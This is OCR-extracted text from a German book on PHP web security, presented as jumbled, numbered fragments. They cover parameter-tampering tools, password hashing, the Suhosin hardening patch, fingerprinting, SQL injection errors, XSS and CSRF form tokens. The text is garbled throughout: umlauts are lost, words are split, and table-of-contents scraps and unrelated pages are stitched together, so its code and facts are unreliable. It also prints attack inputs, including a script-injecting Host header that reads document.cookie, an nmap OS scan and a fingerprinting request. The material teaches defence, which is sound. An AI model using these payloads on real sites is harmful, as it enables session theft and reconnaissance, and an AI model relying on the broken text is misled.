Webanwendung geschickt werden In diesem Kapitel erfahren Sie mehr ber die verschiedenen Arten der Parametermanipu lation und entsprechende Gegenma nahmen 3 1 Grundlagen Der Datenaustausch zwischen Client und Server basiert auf dem Aus tausch von Paramet
95. unsere Zwecke dienlich sein k nnen Diese Plugins sind meist platt form bergreifend erh ltlich Mozilla Browser 50 3 Parametermanipulation LiveHTTPHeaders Modify Headers Add N Edit Cookie WebDeveloper Tamper Data Hack Bar Alle diese Extensions sind f r Firefox 2 sowie andere Mozilla basierte Browser erh ltlich einige sogar f r die neueste Firefox Version 3 die sich zum Zeitpunkt der Drucklegung im Beta Stadium befand Sie k nnen auf der Plugin Plattform des Mozilla Projekts http moz dev org kostenlos heruntergeladen werden Mit LiveHTTPHeaders kann ein Mitschnitt der verschickten und empfangenen Pakete angefertigt werden Dieses Plugin ist auch mit der Sidebar verwendbar Modify Headers erlaubt es dem Nutzer alle Header Felder zu editieren oder zu l schen Es k nnen auch eigene Header Felder hinzu gef gt werden sehr praktisch um etwa die Versionsinformation des Browsers den User Agent kurzfristig zu ver ndern Add N Edit Cookie ist eine komfortable Oberfl che zum Editie ren von bereits gespeicherten Cookies Es besteht die M glichkeit Cookies neu anzulegen oder bestehende zu l schen WebDeveloper ist eine Erweiterung f r den Firefox Browser die es unter anderem erlaubt HTML Formulare zu ver ndern Beispiels weise k nnen Sie die Methode des Formularversendens von GET auf POST oder umgekehrt ndern Au erdem k nnen Sie die L ngenanga ben f r HTML Eingabefelder deaktivier
96. viele verschiedene Klartexte existieren kann sich ein Angreifer zunutze machen Es ist n mlich nicht notwendig dass er das tats chliche Originalpasswort des Nutzers kennt um dessen Login zu nutzen ein beliebiger anderer Klartext der denselben Hash ergibt reicht v llig aus Hat der Angrei fer zuf llig oder durch langes Ausprobieren einen solchen Klartext gefunden kann er diesen genau wie das Originalpasswort verwenden da ja nicht die Klartext sondern die gehashten Passw rter miteinan der verglichen werden Die MDS5 Hashfunktion muss also mittlerweile als unsicher betrachtet werden demnach sollten Sie f r Anwendungen mit h he rem Sicherheitsbedarf mittelfristig auf eine sicherere Hashfunktion ausweichen Es kursieren inzwischen gro e Sammlungen sogenannter Rainbow Tables mit denen viele Hashes durch Kollisionen also das oben beschriebene Finden eines zweiten Klartextwertes f r den gesuchten Hash wieder in einen Klartext berf hrt werden k nnen Das ist jedoch f r den Angreifer stets mit gro em Aufwand verbunden wenn er die Tabellen nicht selber generiert was Tage bis Wochen dauert muss er sie bei einem spezialisierten Dienstleister herunterla den was ebenfalls Zeit und Kosten beansprucht Dennoch ist der Zeitvorsprung den Ihnen das Ablegen von Passw rtern als Hashes bietet in den letzten Jahren sehr zusammengeschrumpft Sobald ein Angreifer Zugriff auf gehashte Passw rter erlangt sei das verwendete Hashin
97. vielen Linux Distributi onen verf gbaren CrackLib einer Bibliothek zum Testen von Pass w rtern Diese Bibliothek m ssen Sie zun chst beispielsweise per apt get install cracklib runtime cracklib2 dev unter Debian installieren Ein W rterbuch wird bei dieser Gelegenheit meist mitinstalliert sodass Sie sich keine Sorgen um die Beschaffung der notwendigen 8 http php morva net manual en ref crack php 9 http www crypticide com users alecm i56 6 Authentisierung und Authentifizierung Passwort berpr fung mit CrackLib Unterst tzung Vokabeln machen m ssen M chten Sie spezielle Wortlisten benut zen finden Sie auf der Seite von COTSE eine reichhaltige Liste von Dateien in vielen verschiedenen Sprachen die Sie mit dem Kommando crack _mkdict wortlistenname crack_packer var cache cracklib datenbankname in das von CrackLib benutzte Format bringen k nnen Haben Sie CrackLib installiert sollten Sie die Extension entweder mit dem Kommando pear install crack direkt aus PECL als dynamisch ladbare Extension installieren oder es mit dem configure Parameter with crack in Ihre PHP Version ein kompilieren Machen Sie sich keine Sorgen Ihr Webserver wird dadurch nicht drogens chtig Ist die CrackLib Unterst tzung f r Ihr PHP aktiv k nnen Sie mit der berpr fung des Passwortes beginnen Eine kurze Funktion die den bergebenen String berpr ft und eine ann herungsweise ber setzte Qu
98. war die hochgeladene Datei also auf dem Server zugelassen ist Wurde unerw nschter Content festgestellt soll das Upload Skript einen belie bigen Wert ungleich 1 ausgeben suhosin upload verification_script home helper virusscan sh Mit einem solchen Skript l sst sich sehr einfach eine berpr fung auf Viren realisieren mit entsprechenden berpr fungsprogrammen k nnen so auch Bilder auf Jugendfreiheit getestet oder anhand einer Pr fsumme Dopplungen in der Dateidatenbank vermieden werden Ein kurzes Beispielskript das die bergebene Datei auf Viren pr ft und entweder 1 kein Virus gefunden Datei OK oder 0 Datei enth lt Virus ausgibt k nnte so aussehen bin bash if n clamscan infected no summary 1 then echo 0 else echo 1 fi Dieses kurze Bash Skript ruft den freien Virenscanner Clam AV auf der eine Vielzahl von Viren W rmern und anderer Malware erkennt Unter anderem werden auch viele h ufig eingesetzte Angriffstools wie Perl Bots Remote Shells und andere Scriptkiddy Werkzeuge von die sem Virenscanner erkannt und aussortiert Schl gt die berpr fung der Datei fehl meldet Suhosin Folgendes Aug 21 01 54 40 freya suhosin 29866 ALERT fileupload verification script disallows file file dropped attacker 192 168 0 1 file home www htdocs freya upload php 6 http www clamav net 11 6 Beispielkonfiguration 273 Die Datei wird nach der berpr fung sofort gel
99. zu den h ufigs ten Schwachstellen in C Programmen Sie verdanken ihre Existenz der Notwendigkeit Speicherbereiche die Puffer fest zuzuweisen und der Tatsache dass in vielen Systemen Code und Datensegmente im selben Speicherbereich an direkt aufeinanderfolgenden Adressen gelagert werden Wenn ein Programm Input von au en wie etwa Benutzereingaben oder bestimmte Strings in einer zu verarbeitenden Datei entgegen nimmt deren L nge nicht berpr ft und in den Puffer schreibt dann ist es m glich dass beim Schreiben ber das Ende des dem Puffer zuge 11 1 Warum PHP h rten 247 wiesenen Speicherbereichs hinausgeschrieben wird Dabei k nnen zum Beispiel Zeiger auf andere Funktionen oder die R cksprungadressen von Funktionsaufrufen berschrieben werden Auf diese Weise kann in den Programmablauf eingegriffen werden und an jede beliebige Stelle im Hauptspeicher gesprungen werden Auch an Stellen in die ein Angreifer eigenen Schadcode eingeschmuggelt hat Dies ist die typische Funktionsweise vieler Exploits Mit diesem Schadcode kann nun ein Angreifer das ausf hrende Programm dazu bewegen andere Funktio nen durchzuf hren als es eigentlich wollte und das zu allem ber fluss auch noch mit dessen Rechten Das alles w re nat rlich nicht m glich wenn die Programmier sprache C oder C automatisch das berschreiben von Puffern mit berlangen Inhalten verhindern w rde Das ist leider nicht der Fall und so werden re
100. 0 suhosin patch 5 0 4 0 2 7 sapi apache mod_php5 c 2005 04 07 02 04 39 000000000 0200 Hier wurde wahrscheinlich eine falsche Version des Suhosin Patch ein gesetzt d h die Version f r PHP 4 x auf ein PHP 5 Quellverzeichnis angewendet Weitere m gliche Probleme k nnen sich ergeben falls Sie 3 http www hardened php net download php 11 3 Installation 257 bereits andere Modifikationen an Ihren PHP Quellen vorgenommen haben z B eine nicht im Lieferumfang enthaltene Extension mit build conf in Ihre PHP Quellen integriert haben oder falls Sie versuchen eine ltere Version des Suhosin Patch in eine PHP Ausgabe zu patchen die daf r nicht geeignet ist der Suhosin Patch ist nur bedingt auf w rtskompatibel Sollten Sie versehentlich versucht haben Ihre PHP Quellen mehr fach zu patchen werden Sie auf eine Fehlermeldung wie die folgende sto en dev patch local src php 5 0 4 patch p 1 lt suhosin patch 5 0 4 0 2 6 patching file TSRM TSRM h Reversed or previously applied patch detected Assume R n In diesem Fall ist es ratsam mit Strg C den Patchprozess abzubrechen ein doppeltes Patchen mit dem implizierten Parameter R w rde ihn n mlich r ckg ngig machen Nachdem der Patch erfolgreich angewendet wurde haben sich diverse Dateien ver ndert Nach dem Patchen m ssen Sie PHP neu konfigurieren und ber setzen dazu verwenden Sie die blichen Parameter f r configure die momentan v
101. 0 12 4 3 Webserver Konfiguration 2 222222 301 12 4 4 XML Whitelist manuell erstellen 303 12 4 5 Automatische Erzeugung 2 2 308 Fazit a ala AEE 309 Inhaltsverzeichnis xv Anhang 310 A Checkliste f r sichere Webapplikationen 311 B Wichtige Optionen in php ini 315 B1 variables rders nen een ns 315 B 2 register globals 1 a ea a 316 B 3 register long arrays sos tuse aare ia aE aS 316 B 4 register_argc_argV uuuuusesssesrnrnrrr unnn no 316 B 5 Postzmaxis ze aus eu 317 B 6 magic_quotes_gPc 2 nennen 317 B 7 magic_quotes_runtime nneeeeeeeeenenenennn 317 B 8 always_populate_raw_post_data 22 2cceceeee nn 317 B 9 allow_url_fopen 2222 ceeeeeeeeeeeeneeee nn 318 B 10 allow_url_include 2222cceceeeeeeeenn nn 318 e Liste aller Schwachstellen mit Gefahrenpotenzial Bewertung 319 C 1 Cross Site Scripting ssssssusun runnen nnne 319 C 2 Information Disclosure nn nnnnu aneneen enen 319 C 3 Full Path Disclosure 222222eceeeeeeeee nn 320 C 4 SQL Injection 22 2222 oeeeeeeeeeeeeeneeeeeee nn 320 C 5 HTTP Response Splitting 2222222 cceeeeeen 320 C 6 Cross Site Request Forgery 2 222222000 reenenen 321 C 7 Remote Command Execution su esens sneen 321 C 8 Mail Header Injection nuunuu ennnen 321 D Glossar 323 Stichwortverzeichnis 331 1 Einleitung 1 1 ber dieses Buch Als im Herbst 2004 das Konzept f r di
102. 0 1 und dem Port 8008 eintragen Bei jeder Anfrage an einen Server wird ein Fenster ge ffnet das s mtliche Parameter anzeigt Unter dem Reiter Parsed werden alle empfangenen Daten in Eingabefeldern angezeigt k nnen dort ver n dert und weiter an den Server geschickt werden Dies ist die komfortabelste Methode Parameter zu ver ndern oder Header zu manipulieren 33 _ Angriffsszenarien und L sungen In den folgenden Abschnitten werden einige Angriffsszenarien aufge zeigt und L sungen zur Vermeidung dieser Angriffe vorgestellt Der Angriffsklasse SQL Injection die auch auf Parametermanipulation basiert wurde in diesem Buch ein eigenes Kapitel Kapitel 5 gewidmet Wenn Sie die hier aufgezeigten L sungen an der richtigen Stelle und konsequent in Ihrem Programmcode implementieren haben Angreifer und Security Tester keine Chance Ihre Applikation erfolg reich zu attackieren 3 3 1 Fehlererzeugung Wie im Kapitel 2 Informationsgewinnung schon gesehen geben Fehlermeldungen Auskunft ber installierte Dienste und Komponen ten auf dem Webserver Diese Komponenten k nnen durch Schwach stellen angreifbar sein Fehlermeldungen k nnen aber auch Ausk nfte ber die Programmstruktur oder verwendete Befehle geben http www php sicherheit de index php page pagel php Warning main pagel php function main failed to open stream No such file or directory in srv www htdocs index php on line 2 Warning main funct
103. 1 erfahren Sie mehr ber diese Funktion 3 4 Variablen richtig pr fen Nachdem Sie die Vorbereitungen f r die Parametermanipulation ken nengelernt die daf r notwendigen Werkzeuge installiert haben und wissen welche Bereiche Ihrer Applikation sicherheitskritische Bereiche haben k nnen zeigen wir Ihnen auf den folgenden Seiten wie Sie Vari ablen korrekt validieren Die korrekte und sorgf ltige berpr fung muss in jeder Applikation implementiert werden um gegen Parameter manipulation gesch tzt zu sein Die Pr fung einer Variablen sollte nach folgenden Regeln ablaufen Pr fung auf den richtigen Datentyp Pr fung auf die L nge Pr fung auf den Inhalt und ggf Maskieren von Sonderzeichen oder HTML Code 6s 3 Parametermanipulation Der Vergleichsoperator settype Der Cast Operator In den folgenden Abschnitten zeigen wir Ihnen anhand von Beispielen wie Sie diese Pr fungen in Ihrer Anwendung integrieren k nnen 3 4 1 Auf Datentyp pr fen Da PHP eine schwach typisierte Sprache ist kann eine Variable mit dem Inhalt 1 ein String ein Integer oder ein Typ Boolean sein Bei der bergabe per Formular oder URL sind alle Variablen Strings Daher m ssen sie vor der weiteren Verarbeitung in den richtigen Datentyp umgewandelt werden In PHP 4 wurde der Vergleichsoperator eingef hrt der nicht nur den Inhalt sondern auch den Typ vergleicht Diesen sollten Sie in Ihren Applikationen immer bei Variablenverg
104. 2222220 ceeeeennn 255 Installation 22 2222 2ceeeeeeeeeeeeeeenernenn 255 11 3 1 Installation des Patch 2ccc22 255 11 3 2 Installation der Extension 2222 258 Zusammenarbeit mit anderen Zend Extensions 259 Konfiguration 2 222 c2eeeeeeeeeeeeeeeene nenn 260 11 5 1 Generelle Optionen 2 2222 cceeeee en 260 11 5 2 Log Dateien 22 iea yai tautena ounn 263 11 5 3 Alarmskript 2 222222 2eeeeeeeeeeeeene en 266 11 5 4 Transparente Verschl sselung 267 11 5 5 Variablenfilter 222ccceeeeeeeeeen 268 11 5 6 Upload Konfiguration 2 222222 271 Beispielkonfiguration 22220222 eeeeeenennn 273 Fazit und Ausblick 2222eosceeeeeeeeeene nen 274 Webserver Filter f r Apache 275 Einsatzgebiet von Filtermodulen 22222200 275 Blacklist oder Whitelist 22222 ceeeeeeeeeenenn 276 mod security asian 277 12 3 1 So funktioniert s 2 ceceeeeeeeee een 278 12 3 2 Gefahren durch mod_security 278 12 33 Installation a een 279 12 3 4 Konfiguration 222 22eceeeeeeenre nn 280 12 3 5 Regelwerk von mod_security 2 2222 283 12 3 6 Alarmskript f r mod_security 2 22222 293 12 3 7 Rootjail Umgebungen mit mod_security 293 12 3 8 mod_security 2 oo oo none eeeeeneeeeennn 296 mod_parmguard 22220 eeeeeeeeeeeeeeeeen nn 299 12 4 1 So funktioniert s 2 ceceeeeeeeeeee en 299 12 4 2 Installation 2 222222 o2eeeeeeeeeer en 30
105. 234582794056190 gt Das Content Management System Typo3 schreibt einen gro en Kommentarblock in den HTML Quellcode lt This website is powered by TYP03 inspiring people to share TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj and licensed under GNU GPL TYPO3 is copyright 1998 2006 of Kasper Skaarhoj Extensions are copyright of their respective owners Information and contribution at http typo3 com and http typo3 org gt Au erdem befinden sich bei Typo3 mehrere Kommentare dieser Art im HTML Quellcode lt Header begin gt lt Text begin gt Pr fen Sie in Ihrer Anwendung anhand des HTML Quellcodes ob uner w nschte Kommentare ausgegeben werden 2 10 Default User Al 2 9 6 HTML Metatags In den HTML Metadaten eines Dokuments l sst sich ber ein Gene rator Metatag die verwendete Software verewigen Das im Kopf der Seite untergebrachte Tag kann Aufschluss ber die verwendete Soft ware und unter Umst nden gar die eingesetzte Version geben Das CMS Contenido etwa gibt ein Metatag hnlich diesem aus lt meta name generator content CMS Contenido CVS_HEAD gt Der Angreifer hat nun gleich zwei Informationen gewonnen zum einen ist ihm die eingesetzte Software zum anderen die Version bekannt CVS_HEAD steht f r die aktuellste Entwicklerversion Auch Typo3 erzeugt ein hnliches Generator Tag lt
106. 4 4 5 _ Formularvervollst ndigung verhindern 85 46 XSSinLANsund WANS 2 222cccceeeeee en 86 4 7 XSS einige Beispiele 2 22 c2eceeeeeeeeeenenn 87 4 8 Einklassisches XSS anneo enin ppur wea anea ae en 88 4 9 Angriffspunkte f r XSS c2eceeeeeeeeeee en 90 4 10 Angriffe verschleiern XSS Cheat Sheet 91 4 11 Einfache Gegenma nahmen 2222 cccee ee 94 4 12 XSS verbieten HTML erlauben wie 97 2 12 1 BBCode 2238 2 rer 97 4 12 2 HTML Filter mit XSS Blacklist 98 4 12 3 Whitelist Filtern mit HTML Purifier 101 4 13 Die Zwischenablage per XSS auslesen 103 4 14 XSS Angriffe ber DOM 222222cceeeeen 104 4 15 XSS in HTITP Headern 2222eceneeeeeeeenn 107 4 15 1 Angriffe der ersten Ordnung mit Headern 107 4 15 2 Second Order XSS per Header 107 4 16 Attack ABI 222u 2 2a nr else 110 4 17 Second Order XSS per RSS 2222 ceeeeeeenn 111 k Inhaltsverzeichnis 4 18 Cross Site Request Forgery CSRF 112 4 18 1 CSRFals Firewall Brecher 2 2 2 114 4 18 2 CSRFin BBCode 222c2cceeee 115 4 18 3 Ein erster Schutz gegen CSRF 116 4 184 CSRF Schutzmechanismen 2 22222 117 4 18 5 Formular Token gegen CSRF 118 4 18 6 Unheilige Allianz CSRF und XSS 119 5 SQL Injection 121 5 1 Gr ndlagen u 2 22 aa kan Ha 121 5 2
107. 4 Download unter http www computec ch download php view 457token 119975 2 4 PHP Installation erkennen zl E prp abahatchit Befehlsfenster Konsole T abahatchi nmap O www php sicherheit de Starting nmap 3 81 http www insecure org nmap at 2005 07 06 16 22 CEST Interesting ports on localhost 127 0 0 1 The 1658 ports scanned but not shown below are in state closed PORT STATE SERVICE 22 tep open ssh 25 tcep open smtp 80 tep open http 111 tcp open rpebind 1026 tcp open LSA or nterm Device type general purpose Running Linux 2 4 X 2 5 x 2 6 x OS details Linux 2 5 25 2 6 3 or Gentoo 1 2 Linux 2 4 19 rcl rc7 Uptime 0 307 days since Wed Jul 6 09 01 04 2005 Nmap finished 1 IP address 1 host up scanned in 2 467 seconds abahatchi I Internet Information Server unter Windows hin Linux kann nicht das verwendete Betriebssystem sein denn einen Internet Information Ser ver gibt es nur f r Windows Anhand der installierten Version des Webservers l sst sich dann weiter auf die installierte Windows Version schlie en so ist beispielsweise ein Internet Information Server in der Version 6 auf Windows NT nicht installierbar Sie sollten sich bei derlei Vermutungen jedoch stets der Tatsache bewusst sein dass es sehr einfach m glich ist die Headerangaben so zu f lschen dass eine tats chlich nicht existente Betriebssystemversion vorgegaukelt wird die genannten Methoden liefern Hinwe
108. 5 Regelwerk von mod_security Starre Regeln und dynamische Klassifizierung Alle Aktionen die mod_security ausf hrt werden anhand eines festen Satzes von Regeln ausgel st und definiert Dieses Konzept kennt der erfahrene Systemadministrator aus anderen Sicherheitsanwendungen meist zur Gen ge Spamfilter Intrusion Detection Systeme und sogar Firewalls arbeiten meist nach einem mehr oder weniger starren Regel werk um ihre Aufgabe zu erf llen Feste Regeln sind allerdings besonders in einem sich h ufig ndernden Umfeld oft nicht das Nonplusultra Diese Erfahrung musste schon mancher E Mail Nutzer machen der sich auf einfache Regeln zur Spambek mpfung verlie Waren in der Fr hzeit der Junkmail noch Mailtitel wie Instant mortgage application das ber chtigte URGENT BUSINESS PROPOSAL oder All natural penis enlarge ment gang und g be so wichen die Spammer bald auf Verschleie rungstechniken wie Instan7 mOrtg4ge appl1 lt at10n aus Der Grund f r dieses Versteckspiel waren Spamfilter die Schl sselw rter wie Debugging M glichkeiten Feste Regeln 284 12 Webserver Filter f r Apache Dynamische Regeln False Positives und Negatives Mortgage oder Viagra zum Anlass nahmen inkriminierte Mails aus dem Verkehr zu ziehen Auf der anderen Seite erzeugen starre Definitionen von Schl ssel w rtern auch vielfach falsche Alarme sogenannte False Positives An der Universit t Hannover deren s
109. 64 272 347 485 mysql error number 1064 Microsoft OLE DB Provider for SQL Server error 80040e14 Unclosed quotation mark before the character string admin Login php line 166 Hier werden Details oder das komplette SQL Statement auf dem Bild schirm ausgegeben Das ist in der Entwicklungsphase sicher n tzlich auf produktiven Systemen ist das unn tig Auf produktiven Systemen w rden Informationen an einen Benutzer oder Angreifer herausgege ben die im Endeffekt nur f r den Entwickler interessant sind Hier sollte der Administrator s mtliche Fehlerausgaben unterdr cken und stattdessen fehlgeschlagene Queries in eine Log Datei schreiben Dank der ausf hrlichen Fehlermeldungen kann der Angreifer seine Attacke auf dieses SQL Statement anpassen bis der Angriff funktio niert 5 2 Auffinden von SQL Injection M glichkeiten 123 Auf vielen Produktionssystemen ist das Anzeigen von Fehlern ausgeschaltet Das geschieht mit der php ini Konfigurationsdirektive display_errors off Hat man keinen Zugriff auf die php ini kann man eine nderung der Konfiguration auch ber die PHP Funktion ini_set einrichten Sie sollten display_errors auf off setzen um eine ungewollte Ausgabe von Fehlermeldungen zu verhindern Dies wird auch von einigen Security Experten als eine der L sungen f r SQL Injection angesehen Das ist aber nicht richtig denn die SQL Injection M glichkeit besteht weiterhin SQL Injection basiert darauf d
110. 7 http freshmeat net projects mod_suid 10 11 Rootjail L sungen 241 Wenn Sie sich an die Tipps im Abschnitt ber safe_mode_exec_dir halten sollten Sie auch mit dem ansonsten durchaus nicht ungef hrli chen mod_suid keine Probleme bekommen Fazit mod_suid bietet eine dringend ben tigte Funktion die den Safe Mode und open_basedir unterst tzen kann sollte aber nur einge setzt werden wenn Sie genau wissen was Sie tun und vor allem keine allzu heterogene Skriptsprachen Kundenumgebung zu pflegen haben Eine Installation als CGl FastCGl ist fast immer unproblematischer zu administrieren und erfordert nicht dass Sie einen Webserver mit Root Rechten laufen lassen Dennoch ist mod_suid eine Alternative wenn Sie nicht von mod_php auf ein CGI umsteigen k nnen oder m chten 10 11 Rootjail L sungen Um Webserver und PHP Instanzen sauber voneinander abzuschotten kann man auch eine Rootjail L sung in Betracht ziehen Dieses Gef ngnis f r Anwendungen setzt mit einem Aufruf der Kernel funktion chroot das Wurzelverzeichnis f r die aktuelle Anwendung von auf ein anderes Verzeichnis beispielsweise home www Die Anwen dung kann aus dieser Umgebung nicht ausbrechen da der Verzeichnis wechsel auf Betriebssystem und nicht auf Anwendungsebene wie etwa open_basedir implementiert ist 10 11 1 BSD Rootjails Die Entwicklergemeinde der BSD Betriebssystemfamilie hat bereits im Jahr 2003 erkannt dass Angriffe auf den Ap
111. Aber auch normale Anfragen k nnen Informationen zutage f rdern die der gew hnliche Benutzer nicht ben tigt die einem Angreifer aber Hin weise ber eventuelle Schwachstellen aufzeigen Security Iester oder Angreifer benutzen h ufig spezialisierte Werkzeuge mit denen es automatisiert m glich ist Webserver Soft ware Datenbanken oder auch die Netzwerktopologie mit oft verbl f fender Genauigkeit zu identifizieren und eventuell sogar anzugreifen Spezialisierte Werkzeuge erleichtern Angriffe Ts 2 Informationsgewinnung Die Verwendung eines Proxys oder Loadbalancers wird dabei ebenso entdeckt wie auch alle Ports eines Systems die auf eine Anfrage aus dem Internet warten Ein solcher Portscan ist jedoch f r den Angreifer nicht unproblematisch denn eine Anfrage auf einem nicht ge ffneten Port kann Alarm in einer eventuell vorhandenen Firewall oder einem Intrusion Detection System IDS ausl sen Ein solches System das den Netzwerkverkehr quasi in Echtzeit analysiert und Verd chtiges an den Administrator meldet hilft diesem das Gefahrenpotenzial einzu sch tzen und Gegenma nahmen einzuleiten So k nnen wenige variie rende Anfragen von ein und derselben IP Adresse oft auf das Aus kundschaften eines Systems auf bekannte L cken hindeuten Einige dieser Werkzeuge werden Sie bereits in diesem Kapitel wei tere im Kapitel 3 Parametermanipulation kennenlernen Um einem Angreifer die Informationsgewinnung zu erschwer
112. Abschnittes ber das XSS Cheat Sheet haben Sie vermutlich festgestellt dass es eine gro e Zahl von M glichkeiten gibt XSS Angriffe auf Ihre Skripte auszuf hren und dass Sie mit einem einzigen Filter nur eine kleine Untermenge dieser Angriffe finden und entfernen k nnen Die ideale Strategie f r einen XSS Filter der selektiv HTML zul sst w re daher eine Whitelist die ausschlie lich die Tags und Attribute im Quellcode bel sst die keinen sch dlichen Code enthalten k nnen Eine solche Whitelist wird von der Anwen dung HTML Purifier implementiert die wir Ihnen im n chsten Abschnitt vorstellen F r bestimmte F lle kann es jedoch n tzlich sein einen Blacklist basierten HTML Filter zu kennen der als verd chtig bekannte Elemente aus HTML Code entfernt Bevor Sie die tats chliche Entfernung XSS verd chtiger Tags und Attribute vornehmen k nnen Sie zun chst Ihre eigene Tag Whitelist erstellen die nur gewollte HTML Tags enth lt Nicht f r Benutzerein gaben sinnvoller Markup Code wie lt META gt lt script gt und lt BODY gt wird dann von PHP entfernt Die PHP Funktion strip_tags verf gt ber eine solche Whitelist Funktionalit t mit der Sie zun chst alle HTML Tags entfernen k n nen die Ihr Skript nicht ben tigt Sie sollten jedoch darauf achten dass diese Funktion keine Syntaxpr fung vornimmt Halboffene Tags oder inkorrekte HTML Syntax k nnen dazu f hren dass mehr Inhalt entfernt wird als erwartet
113. Apache Webserver schickt als Erstes das Date Header Feld zur ck der Internet Information Server das Con nection Header Feld Die Schreibweise der einzelnen Header Felder kann variieren Der Netscape Enterprise Server gibt einen Content length Header zur ck der Apache Webserver einen Content Length Header also mit gro geschriebenem L Bei einer Abfrage der HTTP Optio nen von einem Internet Information Server gibt der Server ein Public Header Feld der Apache Webserver ein Allow Header Feld zur ck Der Apache Webserver verschickt noch zus tzliche Header Felder wie ETag Accept Ranges oder Expires die wir beim Internet Information Server nicht finden 2 http www fags org rfcs rfc2068 html Verschiedene Verhaltensmuster von Webservern 22 2 Informationsgewinnung Manche HTTP Anfragen provozieren unterschiedliche Antworten durch den Webserver wie etwa der folgende GET Request GET 2f Diese Anfrage f hrt bei einem Apache Webserver zu einem 404 Not Found Fehler der Internet Information Server interpretiert diese Anfrage ohne Fehlermeldung und liefert die Startseite der Applikation aus 2 2 3 Tools f r Webserver Fingerprinting Mittlerweile gibt es f r das Webserver Fingerprinting Werkzeuge die Webserver anhand ihrer Verhaltensmuster automatisch erkennen k n nen Beispiele hierf r sind HTTPrint und WebserverFP HTTPrint ist f r viele Betriebssysteme erh ltlich WebserverFP wird nur in
114. Auswertung von Webserver Log Dateien webali zer Das Open Source Projekt ist zwar in C und nicht PHP geschrie ben die L cke ist jedoch sicher auch in der einen oder anderen PHP Anwendung zu finden Auch der Header Host ohne den keine Requests nach HTTP 1 1 stattfinden k nnen kann von Angreifern f r XSS genutzt werden Verwendet eine Website ein als DNS Wildcards bekanntes Verfah ren um unbegrenzt viele Subdomains zur Verf gung zu haben so kann praktisch jedes beliebige Zeichen im Hostname stehen Je nach Client dieser ist schlie lich f r die korrekte Codierung der Anfrage verantwortlich k nnen viele verschiedene Strings in dem Header untergebracht werden Insbesondere f r Second Order Angriffe kann Sinn des Angriffs XSS ber HTTP Referrer Der Host Header 110 4 Cross Site Scripting diese Tatsache genutzt werden Mit einer Anfrage per Telnet die den Header Host lt script gt alert document cookie lt script gt enth lt k nnen die Logging und Statistiksysteme vieler CMS Blogs und anderer Anwendungen ausgetrickst werden Auch gegen XSS in User Agents und anderen Header Feldern sch tzen Sie sich auf die bew hrte Art htmlentities strip_tags _ SERVER HTTP_USER_AGENT entfernt XSS aus Headern denn HTML hat dort nun wirklich nichts zu suchen Anf hrungszeichen hingegen sollten bleiben sie k nnten legitimen Zwecken dienen HTTP Header sind nicht unab nderlich behandeln
115. Backup Dateien oft unge 25 2 Informationsgewinnung sch tzt und mit falschen Dateiendungen auf dem Webserver und k nnen so ausgelesen werden Sie erweisen sich ebenso einen B rendienst wenn Sie eine Datei mit der PHP Funktion phpinfo f r jeden zug nglich auf dem Server gespeichert haben In den folgenden Abschnitten erfahren Sie um welche Dateien es sich handelt und wie man diese sofern ihre Anwesenheit auf dem Webserver berhaupt notwendig ist sch tzen kann 2 6 1 Tempor re Dateien Durch Unachtsamkeiten des Programmierers beim Hochladen der Dateien oder bei der Entwicklung befinden sich bisweilen im Docu ment Root also im Hauptverzeichnis des Webservers Dateien die dort nichts verloren haben Viele Entwicklungswerkzeuge wie FTP Programme oder Entwicklungsumgebungen generieren sie ohne Wis sen des Benutzers Diese Dateien k nnen uns Aufschluss ber instal lierte Software Datenbankverbindungsdaten oder versteckte Include Dateien geben die ein normaler Benutzer der Applikation oder Webs eite nicht entdecken kann Besonders beliebt sind Sicherungskopien mit der Endung bak oder andere tempor re Dateien Dateien die eine Endung besitzen die der Webserver nicht inter pretieren kann werden als Klartext an den Client ausgeliefert In den Dateien k nnen sich sensible Informationen wie Usernamen Passw r ter oder Administrationspfade befinden die f r einen weiteren Angriff benutzt werden k nne
116. CODED Zeichen mit hohen oder niedrigen ASCII Werten 515 FILTER_SANITIZE_SPECIAL_CHARS Codiert HTML Sonderzeichen Standardfilter Tut nichts kann optional 516 FILTER_UNSAFE_RAW Zeichen mit niedrigen oder hohen ASCII Werten codieren oder entfernen 517 FILTER SANITIZE EMAIL Entfernt in E Mail Adressen nicht 7 erlaubte Zeichen 518 FILTER SANITIZE URL Entfernt nicht erlaubte Zeichen in 7 einem URL Erzeugt syntaktisch korrekte Integer 519 FILTER_SANITIZE_NUMBER_INT werte indem au er Ziffern und alle Zeichen entfernt werden 520 FILTER SANITIZE NUMBER FLOAT Entfernt alle Zeichen au er Ziffern und optional eE 521 FILTER_SANITIZE MAGIC QUOTES Alias f r addslashes 1024 FILTER CALLBACK Ruft nutzerdefinierte Callback Funktion oder Methode auf 200 9 Variablenfilter mit ext filter 9 5 Zahlen pr fen und filtern Ein Haupteinfallstor f r Angriffe auf SQL Subsysteme sind ungen gend gepr fte Integervariablen in die sich SQL Kommandos ein schmuggeln lassen Mit den Integerfiltern von ext filter k nnen Sie sol che Probleme durch eine Pr fung mit dem validierenden und durch eine Behandlung mit dem Reinigungsfilter l sen M chten Sie eine Variable namens zahl daraufhin berpr fen ob sie ein Integerwert ist geschieht dies mit filter_var zahl FILTER_VALIDATE_INT Gen gt die Zahl dem Kriterium nicht so gibt die Funktion FALSE zur ck M chten Sie zus tzlich noch pr fen
117. CSRF genutzt n mlich sogenannte Formular Tokens Die Idee dabei ist simpel Formulare werden um ein geheimes Token das in einem versteckten Formularfeld abgelegt ist erweitert Dieses Token wird in der Session des Nutzers gespeichert und ist damit f r einen Angreifer nicht ermittelbar da es ohne weitere L cken in Ihrer Applikation nicht m glich ist aus der Ferne auf das in der Seite eingebettete Token zuzugreifen In Ihrer Applikation m ssen Sie dann nur noch pr fen ob das mit den Formulardaten mitgelieferte Token dem entspricht das in der Session des Nutzers gespeichert ist Auf hnliche Art lassen sich auch GET Requests absichern indem das Token beim Generieren der HTML Seite als URL Variable an den Link geh ngt wird Die vorgestellten Ideen lassen sich nat rlich belie big kombinieren 4 18 Cross Site Request Forgery CSRF 119 Im Beispiel ist das Token Konzept demonstriert lt php session start function verifyFormToken form if lisset _SESSION form _token return false if isset _POST token return false if _SESSION form token POST token return false return true function generateFormToken form token md5 unigid microtime true _SESSION form _token token return token if verifyFormToken form1 Formular verarbeiten else newToken generateFormToken forml Formular darstellen
